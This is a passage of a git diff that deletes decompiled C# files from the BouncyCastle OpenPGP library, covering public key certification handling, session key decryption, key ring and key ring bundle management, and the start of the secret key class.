for (int i = 0; i != ids.Count; i++) - { - if (ids[i] is string) - { - string id = (string)ids[i]; - bcpgOutputStream.WritePacket(new UserIdPacket(id)); - } - else - { - PgpUserAttributeSubpacketVector pgpUserAttributeSubpacketVector = (PgpUserAttributeSubpacketVector)ids[i]; - bcpgOutputStream.WritePacket(new UserAttributePacket(pgpUserAttributeSubpacketVector.ToSubpacketArray())); - } - if (idTrusts[i] != null) - { - bcpgOutputStream.WritePacket((ContainedPacket)idTrusts[i]); - } - foreach (PgpSignature item in (IList)idSigs[i]) - { - item.Encode(bcpgOutputStream); - } - } - return; - } - foreach (PgpSignature subSig in subSigs) - { - subSig.Encode(bcpgOutputStream); - } - } - - public bool IsRevoked() - { - int num = 0; - bool flag = false; - if (IsMasterKey) - { - while (!flag && num < keySigs.Count) - { - if (((PgpSignature)keySigs[num++]).SignatureType == 32) - { - flag = true; - } - } - } - else - { - while (!flag && num < subSigs.Count) - { - if (((PgpSignature)subSigs[num++]).SignatureType == 40) - { - flag = true; - } - } - } - return flag; - } - - public static PgpPublicKey AddCertification(PgpPublicKey key, string id, PgpSignature certification) - { - return AddCert(key, id, certification); - } - - public static PgpPublicKey AddCertification(PgpPublicKey key, PgpUserAttributeSubpacketVector userAttributes, PgpSignature certification) - { - return AddCert(key, userAttributes, certification); - } - - private static PgpPublicKey AddCert(PgpPublicKey key, object id, PgpSignature certification) - { - PgpPublicKey pgpPublicKey = new PgpPublicKey(key); - IList list = null; - for (int i = 0; i != pgpPublicKey.ids.Count; i++) - { - if (id.Equals(pgpPublicKey.ids[i])) - { - list = (IList)pgpPublicKey.idSigs[i]; - } - } - if (list != null) - { - list.Add(certification); - } - else - { - list = Platform.CreateArrayList(); - list.Add(certification); - pgpPublicKey.ids.Add(id); - pgpPublicKey.idTrusts.Add(null); - pgpPublicKey.idSigs.Add(list); - } - return pgpPublicKey; - } - - public static PgpPublicKey RemoveCertification(PgpPublicKey key, PgpUserAttributeSubpacketVector userAttributes) - { - return RemoveCert(key, userAttributes); - } - - public static PgpPublicKey RemoveCertification(PgpPublicKey key, string id) - { - return RemoveCert(key, id); - } - - private static PgpPublicKey RemoveCert(PgpPublicKey key, object id) - { - PgpPublicKey pgpPublicKey = new PgpPublicKey(key); - bool flag = false; - for (int i = 0; i < pgpPublicKey.ids.Count; i++) - { - if (id.Equals(pgpPublicKey.ids[i])) - { - flag = true; - pgpPublicKey.ids.RemoveAt(i); - pgpPublicKey.idTrusts.RemoveAt(i); - pgpPublicKey.idSigs.RemoveAt(i); - } - } - if (!flag) - { - return null; - } - return pgpPublicKey; - } - - public static PgpPublicKey RemoveCertification(PgpPublicKey key, string id, PgpSignature certification) - { - return RemoveCert(key, id, certification); - } - - public static PgpPublicKey RemoveCertification(PgpPublicKey key, PgpUserAttributeSubpacketVector userAttributes, PgpSignature certification) - { - return RemoveCert(key, userAttributes, certification); - } - - private static PgpPublicKey RemoveCert(PgpPublicKey key, object id, PgpSignature certification) - { - PgpPublicKey pgpPublicKey = new PgpPublicKey(key); - bool flag = false; - for (int i = 0; i < pgpPublicKey.ids.Count; i++) - { - if (id.Equals(pgpPublicKey.ids[i])) - { - IList list = (IList)pgpPublicKey.idSigs[i]; - flag = list.Contains(certification); - if (flag) - { - list.Remove(certification); - } - } - } - if (!flag) - { - return null; - } - return pgpPublicKey; - } - - public static PgpPublicKey AddCertification(PgpPublicKey key, PgpSignature certification) - { - if (key.IsMasterKey) - { - if (certification.SignatureType == 40) - { - throw new ArgumentException("signature type incorrect for master key revocation."); - } - } - else if (certification.SignatureType == 32) - { - throw new ArgumentException("signature type incorrect for sub-key revocation."); - } - PgpPublicKey pgpPublicKey = new PgpPublicKey(key); - if (pgpPublicKey.subSigs != null) - { - pgpPublicKey.subSigs.Add(certification); - } - else - { - pgpPublicKey.keySigs.Add(certification); - } - return pgpPublicKey; - } - - public static PgpPublicKey RemoveCertification(PgpPublicKey key, PgpSignature certification) - { - PgpPublicKey pgpPublicKey = new PgpPublicKey(key); - IList list = ((pgpPublicKey.subSigs != null) ? pgpPublicKey.subSigs : pgpPublicKey.keySigs); - int num = list.IndexOf(certification); - bool flag = num >= 0; - if (flag) - { - list.RemoveAt(num); - } - else - { - foreach (string userId in key.GetUserIds()) - { - foreach (object item in key.GetSignaturesForId(userId)) - { - if (certification == item) - { - flag = true; - pgpPublicKey = RemoveCertification(pgpPublicKey, userId, certification); - } - } - } - if (!flag) - { - foreach (PgpUserAttributeSubpacketVector userAttribute in key.GetUserAttributes()) - { - foreach (object item2 in key.GetSignaturesForUserAttribute(userAttribute)) - { - if (certification == item2) - { - flag = true; - pgpPublicKey = RemoveCertification(pgpPublicKey, userAttribute, certification); - } - } - } - } - } - return pgpPublicKey; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyEncryptedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyEncryptedData.cs deleted file mode 100644 index 09d64fa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyEncryptedData.cs +++ /dev/null @@ -1,198 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpPublicKeyEncryptedData : PgpEncryptedData -{ - private PublicKeyEncSessionPacket keyData; - - public long KeyId => keyData.KeyId; - - internal PgpPublicKeyEncryptedData(PublicKeyEncSessionPacket keyData, InputStreamPacket encData) - : base(encData) - { - this.keyData = keyData; - } - - private static IBufferedCipher GetKeyCipher(PublicKeyAlgorithmTag algorithm) - { - try - { - switch (algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - return CipherUtilities.GetCipher("RSA//PKCS1Padding"); - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - return CipherUtilities.GetCipher("ElGamal/ECB/PKCS1Padding"); - default: - throw new PgpException("unknown asymmetric algorithm: " + algorithm); - } - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("Exception creating cipher", exception); - } - } - - private bool ConfirmCheckSum(byte[] sessionInfo) - { - int num = 0; - for (int i = 1; i != sessionInfo.Length - 2; i++) - { - num += sessionInfo[i] & 0xFF; - } - if (sessionInfo[^2] == (byte)(num >> 8)) - { - return sessionInfo[^1] == (byte)num; - } - return false; - } - - public SymmetricKeyAlgorithmTag GetSymmetricAlgorithm(PgpPrivateKey privKey) - { - byte[] array = RecoverSessionData(privKey); - return (SymmetricKeyAlgorithmTag)array[0]; - } - - public Stream GetDataStream(PgpPrivateKey privKey) - { - byte[] array = RecoverSessionData(privKey); - if (!ConfirmCheckSum(array)) - { - throw new PgpKeyValidationException("key checksum failed"); - } - SymmetricKeyAlgorithmTag symmetricKeyAlgorithmTag = (SymmetricKeyAlgorithmTag)array[0]; - if (symmetricKeyAlgorithmTag == SymmetricKeyAlgorithmTag.Null) - { - return encData.GetInputStream(); - } - string symmetricCipherName = PgpUtilities.GetSymmetricCipherName(symmetricKeyAlgorithmTag); - string text = symmetricCipherName; - IBufferedCipher cipher; - try - { - text = ((!(encData is SymmetricEncIntegrityPacket)) ? (text + "/OpenPGPCFB/NoPadding") : (text + "/CFB/NoPadding")); - cipher = CipherUtilities.GetCipher(text); - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("exception creating cipher", exception); - } - try - { - KeyParameter parameters = ParameterUtilities.CreateKeyParameter(symmetricCipherName, array, 1, array.Length - 3); - byte[] array2 = new byte[cipher.GetBlockSize()]; - cipher.Init(forEncryption: false, new ParametersWithIV(parameters, array2)); - encStream = BcpgInputStream.Wrap(new CipherStream(encData.GetInputStream(), cipher, null)); - if (encData is SymmetricEncIntegrityPacket) - { - truncStream = new TruncatedStream(encStream); - string digestName = PgpUtilities.GetDigestName(HashAlgorithmTag.Sha1); - IDigest digest = DigestUtilities.GetDigest(digestName); - encStream = new DigestStream(truncStream, digest, null); - } - if (Streams.ReadFully(encStream, array2, 0, array2.Length) < array2.Length) - { - throw new EndOfStreamException("unexpected end of stream."); - } - int num = encStream.ReadByte(); - int num2 = encStream.ReadByte(); - if (num < 0 || num2 < 0) - { - throw new EndOfStreamException("unexpected end of stream."); - } - return encStream; - } - catch (PgpException ex2) - { - throw ex2; - } - catch (Exception exception2) - { - throw new PgpException("Exception starting decryption", exception2); - } - } - - private byte[] RecoverSessionData(PgpPrivateKey privKey) - { - byte[][] encSessionKey = keyData.GetEncSessionKey(); - if (keyData.Algorithm == PublicKeyAlgorithmTag.EC) - { - ECDHPublicBcpgKey eCDHPublicBcpgKey = (ECDHPublicBcpgKey)privKey.PublicKeyPacket.Key; - X9ECParameters x9ECParameters = ECKeyPairGenerator.FindECCurveByOid(eCDHPublicBcpgKey.CurveOid); - byte[] array = encSessionKey[0]; - int num = (((array[0] & 0xFF) << 8) + (array[1] & 0xFF) + 7) / 8; - byte[] array2 = new byte[num]; - Array.Copy(array, 2, array2, 0, num); - byte[] array3 = new byte[array[num + 2]]; - Array.Copy(array, 2 + num + 1, array3, 0, array3.Length); - ECPoint eCPoint = x9ECParameters.Curve.DecodePoint(array2); - ECPrivateKeyParameters eCPrivateKeyParameters = (ECPrivateKeyParameters)privKey.Key; - ECPoint s = eCPoint.Multiply(eCPrivateKeyParameters.D).Normalize(); - KeyParameter parameters = new KeyParameter(Rfc6637Utilities.CreateKey(privKey.PublicKeyPacket, s)); - IWrapper wrapper = PgpUtilities.CreateWrapper(eCDHPublicBcpgKey.SymmetricKeyAlgorithm); - wrapper.Init(forWrapping: false, parameters); - return PgpPad.UnpadSessionData(wrapper.Unwrap(array3, 0, array3.Length)); - } - IBufferedCipher keyCipher = GetKeyCipher(keyData.Algorithm); - try - { - keyCipher.Init(forEncryption: false, privKey.Key); - } - catch (InvalidKeyException exception) - { - throw new PgpException("error setting asymmetric cipher", exception); - } - if (keyData.Algorithm == PublicKeyAlgorithmTag.RsaEncrypt || keyData.Algorithm == PublicKeyAlgorithmTag.RsaGeneral) - { - byte[] array4 = encSessionKey[0]; - keyCipher.ProcessBytes(array4, 2, array4.Length - 2); - } - else - { - ElGamalPrivateKeyParameters elGamalPrivateKeyParameters = (ElGamalPrivateKeyParameters)privKey.Key; - int size = (elGamalPrivateKeyParameters.Parameters.P.BitLength + 7) / 8; - ProcessEncodedMpi(keyCipher, size, encSessionKey[0]); - ProcessEncodedMpi(keyCipher, size, encSessionKey[1]); - } - try - { - return keyCipher.DoFinal(); - } - catch (Exception exception2) - { - throw new PgpException("exception decrypting secret key", exception2); - } - } - - private static void ProcessEncodedMpi(IBufferedCipher cipher, int size, byte[] mpiEnc) - { - if (mpiEnc.Length - 2 > size) - { - cipher.ProcessBytes(mpiEnc, 3, mpiEnc.Length - 3); - return; - } - byte[] array = new byte[size]; - Array.Copy(mpiEnc, 2, array, array.Length - (mpiEnc.Length - 2), mpiEnc.Length - 2); - cipher.ProcessBytes(array, 0, array.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyRing.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyRing.cs deleted file mode 100644 index fd9a1cf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyRing.cs +++ /dev/null @@ -1,148 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpPublicKeyRing : PgpKeyRing -{ - private readonly IList keys; - - public PgpPublicKeyRing(byte[] encoding) - : this(new MemoryStream(encoding, writable: false)) - { - } - - internal PgpPublicKeyRing(IList pubKeys) - { - keys = pubKeys; - } - - public PgpPublicKeyRing(Stream inputStream) - { - keys = Platform.CreateArrayList(); - BcpgInputStream bcpgInputStream = BcpgInputStream.Wrap(inputStream); - PacketTag packetTag = bcpgInputStream.NextPacketTag(); - if (packetTag != PacketTag.PublicKey && packetTag != PacketTag.PublicSubkey) - { - int num = (int)packetTag; - throw new IOException("public key ring doesn't start with public key tag: tag 0x" + num.ToString("X")); - } - PublicKeyPacket publicPk = (PublicKeyPacket)bcpgInputStream.ReadPacket(); - TrustPacket trustPk = PgpKeyRing.ReadOptionalTrustPacket(bcpgInputStream); - IList keySigs = PgpKeyRing.ReadSignaturesAndTrust(bcpgInputStream); - PgpKeyRing.ReadUserIDs(bcpgInputStream, out var ids, out var idTrusts, out var idSigs); - keys.Add(new PgpPublicKey(publicPk, trustPk, keySigs, ids, idTrusts, idSigs)); - while (bcpgInputStream.NextPacketTag() == PacketTag.PublicSubkey) - { - keys.Add(ReadSubkey(bcpgInputStream)); - } - } - - public virtual PgpPublicKey GetPublicKey() - { - return (PgpPublicKey)keys[0]; - } - - public virtual PgpPublicKey GetPublicKey(long keyId) - { - foreach (PgpPublicKey key in keys) - { - if (keyId == key.KeyId) - { - return key; - } - } - return null; - } - - public virtual IEnumerable GetPublicKeys() - { - return new EnumerableProxy(keys); - } - - public virtual byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public virtual void Encode(Stream outStr) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - foreach (PgpPublicKey key in keys) - { - key.Encode(outStr); - } - } - - public static PgpPublicKeyRing InsertPublicKey(PgpPublicKeyRing pubRing, PgpPublicKey pubKey) - { - IList list = Platform.CreateArrayList(pubRing.keys); - bool flag = false; - bool flag2 = false; - for (int i = 0; i != list.Count; i++) - { - PgpPublicKey pgpPublicKey = (PgpPublicKey)list[i]; - if (pgpPublicKey.KeyId == pubKey.KeyId) - { - flag = true; - list[i] = pubKey; - } - if (pgpPublicKey.IsMasterKey) - { - flag2 = true; - } - } - if (!flag) - { - if (pubKey.IsMasterKey) - { - if (flag2) - { - throw new ArgumentException("cannot add a master key to a ring that already has one"); - } - list.Insert(0, pubKey); - } - else - { - list.Add(pubKey); - } - } - return new PgpPublicKeyRing(list); - } - - public static PgpPublicKeyRing RemovePublicKey(PgpPublicKeyRing pubRing, PgpPublicKey pubKey) - { - IList list = Platform.CreateArrayList(pubRing.keys); - bool flag = false; - for (int i = 0; i < list.Count; i++) - { - PgpPublicKey pgpPublicKey = (PgpPublicKey)list[i]; - if (pgpPublicKey.KeyId == pubKey.KeyId) - { - flag = true; - list.RemoveAt(i); - } - } - if (!flag) - { - return null; - } - return new PgpPublicKeyRing(list); - } - - internal static PgpPublicKey ReadSubkey(BcpgInputStream bcpgInput) - { - PublicKeyPacket publicPk = (PublicKeyPacket)bcpgInput.ReadPacket(); - TrustPacket trustPk = PgpKeyRing.ReadOptionalTrustPacket(bcpgInput); - IList sigs = PgpKeyRing.ReadSignaturesAndTrust(bcpgInput); - return new PgpPublicKey(publicPk, trustPk, sigs); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyRingBundle.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyRingBundle.cs deleted file mode 100644 index dc52984..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKeyRingBundle.cs +++ /dev/null @@ -1,179 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpPublicKeyRingBundle -{ - private readonly IDictionary pubRings; - - private readonly IList order; - - [Obsolete("Use 'Count' property instead")] - public int Size => order.Count; - - public int Count => order.Count; - - private PgpPublicKeyRingBundle(IDictionary pubRings, IList order) - { - this.pubRings = pubRings; - this.order = order; - } - - public PgpPublicKeyRingBundle(byte[] encoding) - : this(new MemoryStream(encoding, writable: false)) - { - } - - public PgpPublicKeyRingBundle(Stream inputStream) - : this(new PgpObjectFactory(inputStream).AllPgpObjects()) - { - } - - public PgpPublicKeyRingBundle(IEnumerable e) - { - pubRings = Platform.CreateHashtable(); - order = Platform.CreateArrayList(); - foreach (object item in e) - { - if (!(item is PgpPublicKeyRing pgpPublicKeyRing)) - { - throw new PgpException(Platform.GetTypeName(item) + " found where PgpPublicKeyRing expected"); - } - long keyId = pgpPublicKeyRing.GetPublicKey().KeyId; - pubRings.Add(keyId, pgpPublicKeyRing); - order.Add(keyId); - } - } - - public IEnumerable GetKeyRings() - { - return new EnumerableProxy(pubRings.Values); - } - - public IEnumerable GetKeyRings(string userId) - { - return GetKeyRings(userId, matchPartial: false, ignoreCase: false); - } - - public IEnumerable GetKeyRings(string userId, bool matchPartial) - { - return GetKeyRings(userId, matchPartial, ignoreCase: false); - } - - public IEnumerable GetKeyRings(string userId, bool matchPartial, bool ignoreCase) - { - IList list = Platform.CreateArrayList(); - if (ignoreCase) - { - userId = Platform.ToUpperInvariant(userId); - } - foreach (PgpPublicKeyRing keyRing in GetKeyRings()) - { - foreach (string userId2 in keyRing.GetPublicKey().GetUserIds()) - { - string text2 = userId2; - if (ignoreCase) - { - text2 = Platform.ToUpperInvariant(text2); - } - if (matchPartial) - { - if (Platform.IndexOf(text2, userId) > -1) - { - list.Add(keyRing); - } - } - else if (text2.Equals(userId)) - { - list.Add(keyRing); - } - } - } - return new EnumerableProxy(list); - } - - public PgpPublicKey GetPublicKey(long keyId) - { - foreach (PgpPublicKeyRing keyRing in GetKeyRings()) - { - PgpPublicKey publicKey = keyRing.GetPublicKey(keyId); - if (publicKey != null) - { - return publicKey; - } - } - return null; - } - - public PgpPublicKeyRing GetPublicKeyRing(long keyId) - { - if (pubRings.Contains(keyId)) - { - return (PgpPublicKeyRing)pubRings[keyId]; - } - foreach (PgpPublicKeyRing keyRing in GetKeyRings()) - { - PgpPublicKey publicKey = keyRing.GetPublicKey(keyId); - if (publicKey != null) - { - return keyRing; - } - } - return null; - } - - public bool Contains(long keyID) - { - return GetPublicKey(keyID) != null; - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStr) - { - BcpgOutputStream outStr2 = BcpgOutputStream.Wrap(outStr); - foreach (object item in order) - { - long num = (long)item; - PgpPublicKeyRing pgpPublicKeyRing = (PgpPublicKeyRing)pubRings[num]; - pgpPublicKeyRing.Encode(outStr2); - } - } - - public static PgpPublicKeyRingBundle AddPublicKeyRing(PgpPublicKeyRingBundle bundle, PgpPublicKeyRing publicKeyRing) - { - long keyId = publicKeyRing.GetPublicKey().KeyId; - if (bundle.pubRings.Contains(keyId)) - { - throw new ArgumentException("Bundle already contains a key with a keyId for the passed in ring."); - } - IDictionary dictionary = Platform.CreateHashtable(bundle.pubRings); - IList list = Platform.CreateArrayList(bundle.order); - dictionary[keyId] = publicKeyRing; - list.Add(keyId); - return new PgpPublicKeyRingBundle(dictionary, list); - } - - public static PgpPublicKeyRingBundle RemovePublicKeyRing(PgpPublicKeyRingBundle bundle, PgpPublicKeyRing publicKeyRing) - { - long keyId = publicKeyRing.GetPublicKey().KeyId; - if (!bundle.pubRings.Contains(keyId)) - { - throw new ArgumentException("Bundle does not contain a key with a keyId for the passed in ring."); - } - IDictionary dictionary = Platform.CreateHashtable(bundle.pubRings); - IList list = Platform.CreateArrayList(bundle.order); - dictionary.Remove(keyId); - list.Remove(keyId); - return new PgpPublicKeyRingBundle(dictionary, list); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKey.cs deleted file mode 100644 index d602c42..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKey.cs +++ /dev/null @@ -1,758 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSecretKey -{ - private readonly SecretKeyPacket secret; - - private readonly PgpPublicKey pub; - - public bool IsSigningKey - { - get - { - switch (pub.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaSign: - case PublicKeyAlgorithmTag.Dsa: - case PublicKeyAlgorithmTag.ECDsa: - case PublicKeyAlgorithmTag.ElGamalGeneral: - return true; - default: - return false; - } - } - } - - public bool IsMasterKey => pub.IsMasterKey; - - public bool IsPrivateKeyEmpty - { - get - { - byte[] secretKeyData = secret.GetSecretKeyData(); - if (secretKeyData != null) - { - return secretKeyData.Length < 1; - } - return true; - } - } - - public SymmetricKeyAlgorithmTag KeyEncryptionAlgorithm => secret.EncAlgorithm; - - public long KeyId => pub.KeyId; - - public int S2kUsage => secret.S2kUsage; - - public S2k S2k => secret.S2k; - - public PgpPublicKey PublicKey => pub; - - public IEnumerable UserIds => pub.GetUserIds(); - - public IEnumerable UserAttributes => pub.GetUserAttributes(); - - internal PgpSecretKey(SecretKeyPacket secret, PgpPublicKey pub) - { - this.secret = secret; - this.pub = pub; - } - - internal PgpSecretKey(PgpPrivateKey privKey, PgpPublicKey pubKey, SymmetricKeyAlgorithmTag encAlgorithm, byte[] rawPassPhrase, bool clearPassPhrase, bool useSha1, SecureRandom rand, bool isMasterKey) - { - pub = pubKey; - BcpgObject bcpgObject; - switch (pubKey.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - case PublicKeyAlgorithmTag.RsaSign: - { - RsaPrivateCrtKeyParameters rsaPrivateCrtKeyParameters = (RsaPrivateCrtKeyParameters)privKey.Key; - bcpgObject = new RsaSecretBcpgKey(rsaPrivateCrtKeyParameters.Exponent, rsaPrivateCrtKeyParameters.P, rsaPrivateCrtKeyParameters.Q); - break; - } - case PublicKeyAlgorithmTag.Dsa: - { - DsaPrivateKeyParameters dsaPrivateKeyParameters = (DsaPrivateKeyParameters)privKey.Key; - bcpgObject = new DsaSecretBcpgKey(dsaPrivateKeyParameters.X); - break; - } - case PublicKeyAlgorithmTag.EC: - case PublicKeyAlgorithmTag.ECDsa: - { - ECPrivateKeyParameters eCPrivateKeyParameters = (ECPrivateKeyParameters)privKey.Key; - bcpgObject = new ECSecretBcpgKey(eCPrivateKeyParameters.D); - break; - } - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - { - ElGamalPrivateKeyParameters elGamalPrivateKeyParameters = (ElGamalPrivateKeyParameters)privKey.Key; - bcpgObject = new ElGamalSecretBcpgKey(elGamalPrivateKeyParameters.X); - break; - } - default: - throw new PgpException("unknown key class"); - } - try - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.WriteObject(bcpgObject); - byte[] array = memoryStream.ToArray(); - byte[] b = Checksum(useSha1, array, array.Length); - array = Arrays.Concatenate(array, b); - if (encAlgorithm == SymmetricKeyAlgorithmTag.Null) - { - if (isMasterKey) - { - secret = new SecretKeyPacket(pub.publicPk, encAlgorithm, null, null, array); - } - else - { - secret = new SecretSubkeyPacket(pub.publicPk, encAlgorithm, null, null, array); - } - return; - } - S2k s2k; - byte[] iv; - byte[] secKeyData = ((pub.Version < 4) ? EncryptKeyDataV3(array, encAlgorithm, rawPassPhrase, clearPassPhrase, rand, out s2k, out iv) : EncryptKeyDataV4(array, encAlgorithm, HashAlgorithmTag.Sha1, rawPassPhrase, clearPassPhrase, rand, out s2k, out iv)); - int s2kUsage = (useSha1 ? 254 : 255); - if (isMasterKey) - { - secret = new SecretKeyPacket(pub.publicPk, encAlgorithm, s2kUsage, s2k, iv, secKeyData); - } - else - { - secret = new SecretSubkeyPacket(pub.publicPk, encAlgorithm, s2kUsage, s2k, iv, secKeyData); - } - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("Exception encrypting key", exception); - } - } - - [Obsolete("Use the constructor taking an explicit 'useSha1' parameter instead")] - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, char[] passPhrase, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, passPhrase, useSha1: false, hashedPackets, unhashedPackets, rand) - { - } - - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, utf8PassPhrase: false, passPhrase, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, bool utf8PassPhrase, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, PgpUtilities.EncodePassPhrase(passPhrase, utf8PassPhrase), clearPassPhrase: true, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, byte[] rawPassPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, rawPassPhrase, clearPassPhrase: false, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - internal PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, byte[] rawPassPhrase, bool clearPassPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(keyPair.PrivateKey, CertifiedPublicKey(certificationLevel, keyPair, id, hashedPackets, unhashedPackets), encAlgorithm, rawPassPhrase, clearPassPhrase, useSha1, rand, isMasterKey: true) - { - } - - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, hashAlgorithm, utf8PassPhrase: false, passPhrase, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, bool utf8PassPhrase, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, hashAlgorithm, PgpUtilities.EncodePassPhrase(passPhrase, utf8PassPhrase), clearPassPhrase: true, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, byte[] rawPassPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, keyPair, id, encAlgorithm, hashAlgorithm, rawPassPhrase, clearPassPhrase: false, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - internal PgpSecretKey(int certificationLevel, PgpKeyPair keyPair, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, byte[] rawPassPhrase, bool clearPassPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(keyPair.PrivateKey, CertifiedPublicKey(certificationLevel, keyPair, id, hashedPackets, unhashedPackets, hashAlgorithm), encAlgorithm, rawPassPhrase, clearPassPhrase, useSha1, rand, isMasterKey: true) - { - } - - private static PgpPublicKey CertifiedPublicKey(int certificationLevel, PgpKeyPair keyPair, string id, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets) - { - PgpSignatureGenerator pgpSignatureGenerator; - try - { - pgpSignatureGenerator = new PgpSignatureGenerator(keyPair.PublicKey.Algorithm, HashAlgorithmTag.Sha1); - } - catch (Exception ex) - { - throw new PgpException("Creating signature generator: " + ex.Message, ex); - } - pgpSignatureGenerator.InitSign(certificationLevel, keyPair.PrivateKey); - pgpSignatureGenerator.SetHashedSubpackets(hashedPackets); - pgpSignatureGenerator.SetUnhashedSubpackets(unhashedPackets); - try - { - PgpSignature certification = pgpSignatureGenerator.GenerateCertification(id, 